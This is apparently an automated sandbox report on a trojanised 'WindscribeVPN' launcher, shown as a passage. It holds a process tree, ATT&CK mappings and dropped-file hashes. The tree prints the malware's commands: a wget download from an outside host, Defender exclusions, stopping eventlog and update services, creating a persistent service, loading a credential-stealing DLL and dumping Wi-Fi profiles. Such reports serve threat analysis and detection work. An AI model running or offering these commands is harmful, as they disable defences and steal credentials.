        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        6⤵
        
        PID:5980
      - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        6⤵
        
        PID:5956
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe delete "OZLCSUZD"
        6⤵
        Launches sc.exe
        
        PID:2468
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe create "OZLCSUZD" binpath= "C:\ProgramData\cwsdjtkixutq\kuytqawknxye.exe" start= "auto"
        6⤵
        Launches sc.exe
        
        PID:2964
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop eventlog
        6⤵
        Launches sc.exe
        
        PID:800
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe start "OZLCSUZD"
        6⤵
        Launches sc.exe
        
        PID:4404
    - - C:\Users\Admin\AppData\Roaming\services\wget.exe
        
        "C:\Users\Admin\AppData\Roaming\services\wget.exe" ping --content-disposition http://apexgenz.com/3/1 -P C:\Users\Admin\AppData\Roaming\services
        5⤵
        Executes dropped EXE
        
        PID:2852
    - - C:\Users\Admin\AppData\Roaming\services\winrar.exe
        
        "C:\Users\Admin\AppData\Roaming\services\winrar.exe" x -y -pjryj2023 C:\Users\Admin\AppData\Roaming\services\03plugins*.* "3plugin*" C:\Users\Admin\AppData\Roaming\services
        5⤵
        Executes dropped EXE
        
        PID:1032
    - - C:\Users\Admin\AppData\Roaming\services\3plugin0324
        
        C:\Users\Admin\AppData\Roaming\services\3plugin0324
        5⤵
        Checks computer location settings
        Executes dropped EXE
        Drops file in Windows directory
        
        PID:5940
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5940 -s 856
        6⤵
        Program crash
        
        PID:4980
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5940 -s 896
        6⤵
        Program crash
        
        PID:5580
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5940 -s 968
        6⤵
        Program crash
        
        PID:5512
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5940 -s 976
        6⤵
        Program crash
        
        PID:5888
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5940 -s 976
        6⤵
        Program crash
        
        PID:396
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5940 -s 980
        6⤵
        Program crash
        
        PID:6120
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5940 -s 1172
        6⤵
        Program crash
        
        PID:3812
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5940 -s 1188
        6⤵
        Program crash
        
        PID:928
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5940 -s 1240
        6⤵
        Program crash
        
        PID:5320
      - C:\Users\Admin\AppData\Local\Temp\b4e248fdbd\Dctooux.exe
        
        "C:\Users\Admin\AppData\Local\Temp\b4e248fdbd\Dctooux.exe"
        6⤵
        Executes dropped EXE
        
        PID:4164
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4164 -s 684
        7⤵
        Program crash
        
        PID:1048
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4164 -s 728
        7⤵
        Program crash
        
        PID:6132
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4164 -s 732
        7⤵
        Program crash
        
        PID:3924
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4164 -s 780
        7⤵
        Program crash
        
        PID:2288
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4164 -s 896
        7⤵
        Program crash
        
        PID:5352
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4164 -s 932
        7⤵
        Program crash
        
        PID:5848
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4164 -s 940
        7⤵
        Program crash
        
        PID:5584
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4164 -s 920
        7⤵
        Program crash
        
        PID:2884
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4164 -s 1052
        7⤵
        Program crash
        
        PID:4396
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4164 -s 1052
        7⤵
        Program crash
        
        PID:1392
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4164 -s 1400
        7⤵
        Program crash
        
        PID:3940
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4164 -s 1632
        7⤵
        Program crash
        
        PID:3764
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Local\Temp\1000006011\6ec270b8f0.dll, Main
        7⤵
        
        PID:3872
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\5ebdeb3f981e75\cred64.dll, Main
        7⤵
        
        PID:2288
        
        C:\Windows\system32\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\5ebdeb3f981e75\cred64.dll, Main
        8⤵
        
        PID:988
        
        C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        9⤵
        
        PID:5596
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5940 -s 1696
        6⤵
        Program crash
        
        PID:2672
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /K rd /s /q "C:\Users\Admin\AppData\Roaming\services" & EXIT
        5⤵
        
        PID:5952

C:\Users\Admin\Downloads\WindscribeVPN-10_11\Launcher.exe
"C:\Users\Admin\Downloads\WindscribeVPN-10_11\Launcher.exe"
1⤵
PID:5780

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 5964 -ip 5964
1⤵
PID:5664

C:\Users\Admin\Downloads\WindscribeVPN-10_11\Launcher.exe
"C:\Users\Admin\Downloads\WindscribeVPN-10_11\Launcher.exe"
1⤵
PID:5536

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 5940 -ip 5940
1⤵
PID:904

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 5940 -ip 5940
1⤵
PID:2184

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 384 -p 5940 -ip 5940
1⤵
PID:5584

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 5940 -ip 5940
1⤵
PID:4888

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 5940 -ip 5940
1⤵
PID:5896

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 5940 -ip 5940
1⤵
PID:1392

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 5940 -ip 5940
1⤵
PID:1212

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 5940 -ip 5940
1⤵
PID:1376

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 5940 -ip 5940
1⤵
PID:5784

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 5940 -ip 5940
1⤵
PID:3652

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 4164 -ip 4164
1⤵
PID:660

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 4164 -ip 4164
1⤵
PID:5640

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 4164 -ip 4164
1⤵
PID:1868

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 604 -p 4164 -ip 4164
1⤵
PID:2808

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 620 -p 4164 -ip 4164
1⤵
PID:6048

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 4164 -ip 4164
1⤵
PID:4928

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 4164 -ip 4164
1⤵
PID:5144

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 4164 -ip 4164
1⤵
PID:5060

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 652 -p 4164 -ip 4164
1⤵
PID:3660

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 652 -p 4164 -ip 4164
1⤵
PID:6140

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 644 -p 4164 -ip 4164
1⤵
PID:5376

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 4164 -ip 4164
1⤵
PID:5932

C:\ProgramData\cwsdjtkixutq\kuytqawknxye.exe
C:\ProgramData\cwsdjtkixutq\kuytqawknxye.exe
1⤵
PID:1012
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  PID:5952
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  PID:5784
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:1064
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:1376
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:5800
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:2828
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:3764
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:2592
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  PID:5868
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  PID:5880
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  PID:960
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  PID:5812
- C:\Windows\system32\conhost.exe
  C:\Windows\system32\conhost.exe
  2⤵
  PID:6040
- C:\Windows\system32\dwm.exe
  dwm.exe
  2⤵
  PID:5280

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\cwsdjtkixutq\kuytqawknxye.exe

Filesize
802KB

MD5
c7fb4618f018026f3541c02f8418b535

SHA1
11bb43a1a9c9a229752ecf375f7dcd959684d715

SHA256
e9509774e231deafd24d0830428ab8d23bab317f5689076bd5742a47e18290ac

SHA512
6bb2ef7b0e1f9f23ac883fe67dfe1ab1cf9f62be4bf5c6424f424d02be328acf2a475e22338adfe0d1ad1b00f5975599672378ec85bead75a5a30aa4353ff0db

Download Submit
C:\ProgramData\cwsdjtkixutq\kuytqawknxye.exe

Filesize
812KB

MD5
f5dd113e07efb069c9288f4c40c47c35

SHA1
384765f9f412b6e2c0d2e44e78343919b43dd53f

SHA256
1ac379d6104437daa09cbfbc4ae23589f5cc4fcfda62dfac5ddefc5750f5c3e3

SHA512
bc0d053d0197f111fedcdfa552698148b25717bcc2284a78512b0d56255bd1c8b2b9210f1ed8ffd4f283094c3d1cc3b0bba8aa88fbff9f108515f967d6267328

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
9ffb5f81e8eccd0963c46cbfea1abc20

SHA1
a02a610afd3543de215565bc488a4343bb5c1a59

SHA256
3a654b499247e59e34040f3b192a0069e8f3904e2398cbed90e86d981378e8bc

SHA512
2d21e18ef3f800e6e43b8cf03639d04510433c04215923f5a96432a8aa361fdda282cd444210150d9dbf8f028825d5bc8a451fd53bd3e0c9528eeb80d6e86597

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
e1b45169ebca0dceadb0f45697799d62

SHA1
803604277318898e6f5c6fb92270ca83b5609cd5

SHA256
4c0224fb7cc26ccf74f5be586f18401db57cce935c767a446659b828a7b5ee60

SHA512
357965b8d5cfaf773dbd9b371d7e308d1c86a6c428e542adbfe6bac34a7d2061d0a2f59e84e5b42768930e9b109e9e9f2a87e95cf26b3a69cbff05654ee42b4e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000005

Filesize
373KB

MD5
67d415558e7b8a420facb10327b8a647

SHA1
d0f92d7bee1824e4d7e1ad46781d9bcfe8658540

SHA256
fd25c143179e47cd725036bc42d535d06e55458958ec7772b0c2b02eab5024c9

SHA512
9c1cf773a9dd6d85ed4603a73be8fdfc9cdcd64ad71db6680823d511e6ebe1ab231ff4e6ca0a0952cf28e3ab0fdfed141acc00f8b868739bebfd0b88c02b3da5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
336B

MD5
408908adb499ff958df6f4983f964be1

SHA1
0300b5a5bb2291dd204829d12f97e1ad48af79e9

SHA256
db9f60916dbf817d1c9488b938a7298c6079708e7267ad1ef8ab8d3ef09a418f

SHA512
8820ac07a66f8d72061b9ac3588cbdcc842793d9fb90907a4fbe96f3c2dd86190347ab78783fd7e4d237cb5da52e49c52085909ee8f6ffae65497b1954955ad3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
1KB

MD5
244065d4a7e1a0ca2d1c78192fb13e93

SHA1
dcc79f9be69bf462729e5e11efa9880dbd9e811f

SHA256
59b25c70a5787b5d1333e3d63744be601cf58bdcc83b223402112c9c6c82b874

SHA512
2a0c5b0b04ab3d43ae4abd71fb1d33e31f144ee92d2e398c89e41ac6c1ba3f842cdfcf231fde0d9ee3c144c19cd0413c05f5a17984bc79d8576bc8f0e52c28fe

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
c12a3526c4345a5da98b864997bf98c3

SHA1
46a6f82e1b5fa1615808b329e5f05bb203c7b6c4

SHA256
b49d8631c3c2a4ce899737efba98a2aa6ee90f9848eda1c3d92e0672ee226631

SHA512
33da9072e791712eef559850463258253e276c29f15a8054105b0cc78bc2fb04b0180425b083b6db9571ce79cb310f93aa29956f2781b8ece30e6f977583b5e6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
25bd60c666dccc36aaf7fb57a10f1d00

SHA1
f44e79bcb5465936f961e52b0cdd05cdd45891c0

SHA256
28a5ee71b1fee4f34457fd1b9e74305727f6a89921cfa393fddff0c0ffd38d00

SHA512
fcbca2656dbd211ba3977f71df4f33acb07b452e2062783f952a18f768a6b8593373175cdce87bb7473826493270ed9187b6d2eb9c427349d0ecc463a7410663

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
3287902385f450c03b5bcfc086a53874

SHA1
f3cba0c36644e5e894c4c1d7637e1c04b5300146

SHA256
3da2bb58be04e4e62eaedd6a87685e634e0472573657acf58e53cff6583b7651

SHA512
ac61892afacfc6efef69cee0350c27fed718242135be1767827119221410ad6d0dba416686cc05963df4be078ee8f754673568acd38a4cd0cbfbf0fce81ba382

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
12KB

MD5
30f1b301026af8212d8b2a667f825193

SHA1
3eb5c861bc98495f07cadf7abed01524fe5a3e99

SHA256
606b8f88b9f06cfd61e1842f5cd20023c5466c1289ec85fa1b7f2012bfe81aa4

SHA512
5a6e5f7bd0c01e357527b4d240fe43afafcd14150790a2b5dc068bbe8b19fbffbf265e755eaf867fc8c7403576f55adc2ac999bffb6b71720f97d55e6f36566a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
78ba3fc461d312b8097ca42e808e25a7

SHA1
142c04f96015e4619de799695048b95b99ca9d1d

SHA256
c1aec9ca0fcdf36c43a5e54046f3ed7bbba8ca033c4eb5cd085c232af428ea96

SHA512
582262050c94a903684f77692b35727105d3cb5f2fd92ff7078a9db29528e4ddce191b6a76eb2863fbf43c12c44f4cc7797a052bb7efded0f15bd731b79f0bf6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
aa5de6de033723b6366835a4ded48b88

SHA1
724ff3ec1e9e1a8b90f1be8924c949a5c61d8487

SHA256
96d6b87a4090a35305c1f6fbdedd6409e2dabda36aee168761d2d7431634a971

SHA512
67012f52f192d0fb5945f2212539e2890aadbb1b040bf8fbecf0843001151f4e41027bd6e9cbaeda2c251b0428b15127fb4e7f47461b243ed5c4f4a7469d3ced

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Filesize
53KB

MD5
d4d8cef58818612769a698c291ca3b37

SHA1
54e0a6e0c08723157829cea009ec4fe30bea5c50

SHA256
98fd693b92a71e24110ce7d018a117757ffdfe0e551a33c5fa5d8888a2d74fb0

SHA512
f165b1dde8f251e95d137a466d9bb77240396e289d1b2f8f1e9a28a6470545df07d00da6449250a1a0d73364c9cb6c00fd6229a385585a734da1ac65ac7e57f6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
a46ba4766bd272c9b9450d35f8787bd4

SHA1
2bec45c550debaa12e9384cec9f44866816a2b02

SHA256
7a4f7fe3f05c819ec6117c3c17c6aa03d1c631854bbeecf8ca5d252ebb9defbf

SHA512
36ff3f783ddf8e13f95b688c36cbd4bf8d6772f3adc2161e5ef6acf9e2b34de8e2891c88d53978183eb7acc302f6220645ceebb94b7c9a3db55f0bc382590919

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000006011\6ec270b8f0.dll

Filesize
328KB

MD5
ae5695ed7af811b886f30692a6e9d316

SHA1
510930a18c574cf9ea3ee9741b12bf695cb3194e

SHA256
e3fe7c50d7ab4c0547483dd493143fd660361fad613c01f64a153b849c32e7f2

SHA512
aa58701c07eb173648396b44b3501c7993ce25c7d581b6e0e7476b48cdaa7f970dbef80012afa637b44970d69838a1dee0371c67da2227134dd6fe81df725412

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000006011\6ec270b8f0.dll

Filesize
2.6MB

MD5
d6fdb47d28d085354b57e16ed24a015a

SHA1
3cc37790fbe694208554af50b403a9a16fca02a5

SHA256
3d592d764fb613c6ca57c5ad8b9587d4484f08723e9848b4b224d67944cac854

SHA512
5d186d697fe28e77589761fdcf05510115b7dbb1ca2a207e0577d7ab3bc21ab5b387a8b054cb669ec5bc46ddf779b5d423ce3503cc73be466d114b4287d3561d

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000006011\6ec270b8f0.dll

Filesize
2.7MB

MD5
13695b23c4aa5e8ed1e8e3f7bda9598a

SHA1
0e28569e7f0a653df108c550154d57d6c8267fc5

SHA256
c4443136fd98748bd4bc8742b706731027af49b0f8666838ad37054aa0096118

SHA512
ff592a3ff4db139446d0606b9df9ba3575d4c4e3029283afa804d927ba98e1edd1a5df71d4e0b040c1db486c4c46d416bca99c70a9fc98af454fe8e6eb65d33a

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5h2orn0n.aw4.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\b4e248fdbd\Dctooux.exe

Filesize
440KB

MD5
f34fd0b8a1256d31e4261b43d8065d01

SHA1
8ce98d3e2c47d07152bc7bc21cdd5ba4daca8f35

SHA256
3440b3bd8a4f1b86bc66574f3ea119bca44050cbeaa0e985859f3bf9c10a90d8

SHA512
c46928c468ceab3b2174a252357a885a7dc0b2ebbdac6d45d27297eac79c47f0ff2144b22c12a57feac1318bf3fcba9685420dd8ec1835c01bc12d2a8c5c1b19

Download Submit
C:\Users\Admin\AppData\Roaming\5ebdeb3f981e75\cred64.dll

Filesize
1.2MB

MD5
5018b05026a59499aadb6ec08f4a0390

SHA1
e92da4c4350064d7f9dcc4afbbc48a8ed317a352

SHA256
095ded227779ff91573f4e2174e31ded242a0c452ceefd0d1bb2761ffa19977c

SHA512
47742751f577453cb155cf7f88c23df3cd21163f1844fb14f94239fac121712320fd312b6557d173bdeb2b0b6da74cb7ab2a573aa11828e54db325c32aeacdca

Download Submit
C:\Users\Admin\AppData\Roaming\WinRAR\version.dat

Filesize
12B

MD5
706e2281ffc5788a75cdc99ff7bdaa42

SHA1
aec6ed01cb4dbe6037032a0184f4854c60a1941d

SHA256
417fceb9ac53da729348d6f1ab13d0309793c41270af3adcabff933e17a6c4d9

SHA512
6df72240b83dc909f9f632cad15abc063148eefa66a7f82f1893ed2a2770ede65220362cc3a118fa833ebfc9db299d49ca184946c3cedb58d5c7ef584cb0ca9f

Download Submit
C:\Users\Admin\AppData\Roaming\services\.wget-hsts

Filesize
184B

MD5
73f1becc2be2b6b3261f0f4ecfbf782d

SHA1
388751f936309bb76d11d74302af8377f1df1024

SHA256
5fe1a760e01ed54e2f5e6bf54cc1bff0f81dd9dbbb734f78a0d0b306ad1f7842

SHA512
b296bfba3fd40030f98d4031874a1a1cad880ce6337be68e8472cd2bcb8876e05798106d79dd226634cf82e55483739b714811f7f4359025b884e55899187592

Download Submit
C:\Users\Admin\AppData\Roaming\services\.wget-hsts

Filesize
184B

MD5
5143cf87db8cf81eebf9246b3abfc881

SHA1
2b40e5a05e8a5f79cd8d229101c4bba89a17ed08

SHA256
68cb1012bdc48faace2a4694302345a9a9d5f2658c9b581154418ddbaf39597a

SHA512
21e78eff74962d2803a1c66486c2976ef6a0f7e3fac3a689bc3f4b23e5f815f88ff9f8597c76cf7207b0386b67c9c60f3da28b593d8311bbc9d8a7871682a915

Download Submit
C:\Users\Admin\AppData\Roaming\services\01plugins0324.rar

Filesize
648KB

MD5
2eaa58038158eb04903dc720f995663d

SHA1
93d7a8e0878edb0676bd3e7f585572ae22fab700

SHA256
59cd4e0d2e79d9bd5a0f03bb3c148a94983c58ba6b80e760c60a3b5fc093bdef

SHA512
c7aa0b2ca60050ae639eb01c8e1b1659bb71a9191be5167d0da3bee83ff141be42d73c81448ef99093001de8012a6e623ac34a661a85ac82dcf0f6dd39e88626

Download Submit
C:\Users\Admin\AppData\Roaming\services\02plugins0324.rar

Filesize
13.1MB

MD5
6ae286b241be875798bbbc040761479e

SHA1
84abd111c78280624b03db5e709280b87afe76ac

SHA256
5d067fec5f16052c747437292b098a13d55dffc125d615d7a8dc24a306eacd92

SHA512
e7796869bb10d9eadd7f98ba3de3f1e5be24bc29c0e93c5227e50cf27a76a8b54e39ad9288d2b6f26c60e33ef009dc339c05910c0741b9153525fe9fbecbdbe3

Download Submit
C:\Users\Admin\AppData\Roaming\services\03plugins0324.rar

Filesize
1.3MB

MD5
9d64c1bb81e5f616c4424250f8d9fc7a

SHA1
ac33cc015b103d5e5cfe894b7646b2135137ee5f

SHA256
58cb1cd60816d4e966a35f97ab822c45e0d5f85684901ff0d8e5d5181e29d8f3

SHA512
4189db29065d4cf8b68aef8e448aedc6fd71711e0000e2f3b6285c90bc2b3d39501a587be05cc2483e74941fc67f0ce91bf5dfd473e16c0181621d53d5b5cf31

Download Submit
C:\Users\Admin\AppData\Roaming\services\2plugin0324

Filesize
1.4MB

MD5
8caa141441d3406f283bb55a53e8ea38

SHA1
45f7c21e7776fd6ab4b8c18ca5fc1d82314f2761

SHA256
7b4761a7fc2c6953b974ed116b35650013c89fe730c6689ead61d5d10921da94

SHA512
a13904021f3d19510e3d352df31d93766a6fcf67597cc3311ff2e3aa6fb67b49c3621de7e62b5a1d48699aa6af097a18ed21618064cdd08b411d7de8dcc0d02f

Download Submit
C:\Users\Admin\AppData\Roaming\services\2plugin0324

Filesize
1.3MB

MD5
d530d396db9278680db92a26d4c024ae

SHA1
82b4dc1a3726fe124a23f3beb2490c79c04a0352

SHA256
8c8e85fa3a69639a15bb296481985fd2373c5bc22c77a9fdc206a7abe5efea5b

SHA512
ed2799ed660893adfaf424c74c9b3833648d6c0154cdab0dd4e9c9b6c32570da00373fe2d9741dc1a476e661076dc87b0b69294dc76095f7d06db3d904b1b359

Download Submit
C:\Users\Admin\AppData\Roaming\services\3plugin0324

Filesize
82KB

MD5
a5cf8ab8614b957803409ee38fce12af

SHA1
68e6acead0f8fe288bdff8ce3a8f724f54a1d2ef

SHA256
d130a8110de5157c3185470ffae3f1d0737d2e155e14a24de90b90ce787103b4

SHA512
e35746e6e90190c794f6c353b84c9c24f8a1c34db2acb0e5d920e69cbc227228a4fd6de24a27ecee7df2e790184af66d8d018bd1ee5add1325c459f896c7e102

Download Submit
C:\Users\Admin\AppData\Roaming\services\3plugin0324

Filesize
173KB

MD5
d158073701946daac548489f4380f3c8

SHA1
db25e31aa38e20ed4e1dd89425e5b8b6489c1189

SHA256
b615a368c7495afb93bc084f2177679a8b907bf8b4221c24ea977371b2db8735

SHA512
f4634f2271f48bd2cbb650810507c1f36b49b3ef3cc283685813a391593eb7186ddc47dd294ff4d2b248e047e4774586873265326824c9fe3b4287ef9cad190c

Download Submit
C:\Users\Admin\AppData\Roaming\services\Launhcer.dll

Filesize
2KB

MD5
7de0541eb96ba31067b4c58d9399693b

SHA1
a105216391bd53fa0c8f6aa23953030d0c0f9244

SHA256
934f75c8443d6379abdc380477a87ef6531d0429de8d8f31cd6b62f55a978f6e

SHA512
e5ffa3bfd19b4d69c8b4db0aabaf835810b8b8cccd7bc400c7ba90ef5f5ebd745c2619c9a3e83aa6b628d9cf765510c471a2ff8cb6aa5ad4cf3f7826f6ae84a3

Download Submit
C:\Users\Admin\AppData\Roaming\services\Launhcer.exe

Filesize
364KB

MD5
e5c00b0bc45281666afd14eef04252b2

SHA1
3b6eecf8250e88169976a5f866d15c60ee66b758

SHA256
542e2ebbded3ef0c43551fb56ce44d4dbb36a507c2a801c0815c79d9f5e0f903

SHA512
2bacd4e1c584565dfd5e06e492b0122860bfc3b0cc1543e6baded490535309834e0d5bb760f65dbfb19a9bb0beddb27a216c605bbed828810a480c8cd1fba387

Download Submit
C:\Users\Admin\AppData\Roaming\services\Launhcer.exe.manifest

Filesize
1KB

MD5
f0fc065f7fd974b42093594a58a4baef

SHA1
dbf28dd15d4aa338014c9e508a880e893c548d00

SHA256
d6e1c130f3c31258b4f6ff2e5d67bb838b65281af397a11d7eb35a7313993693

SHA512
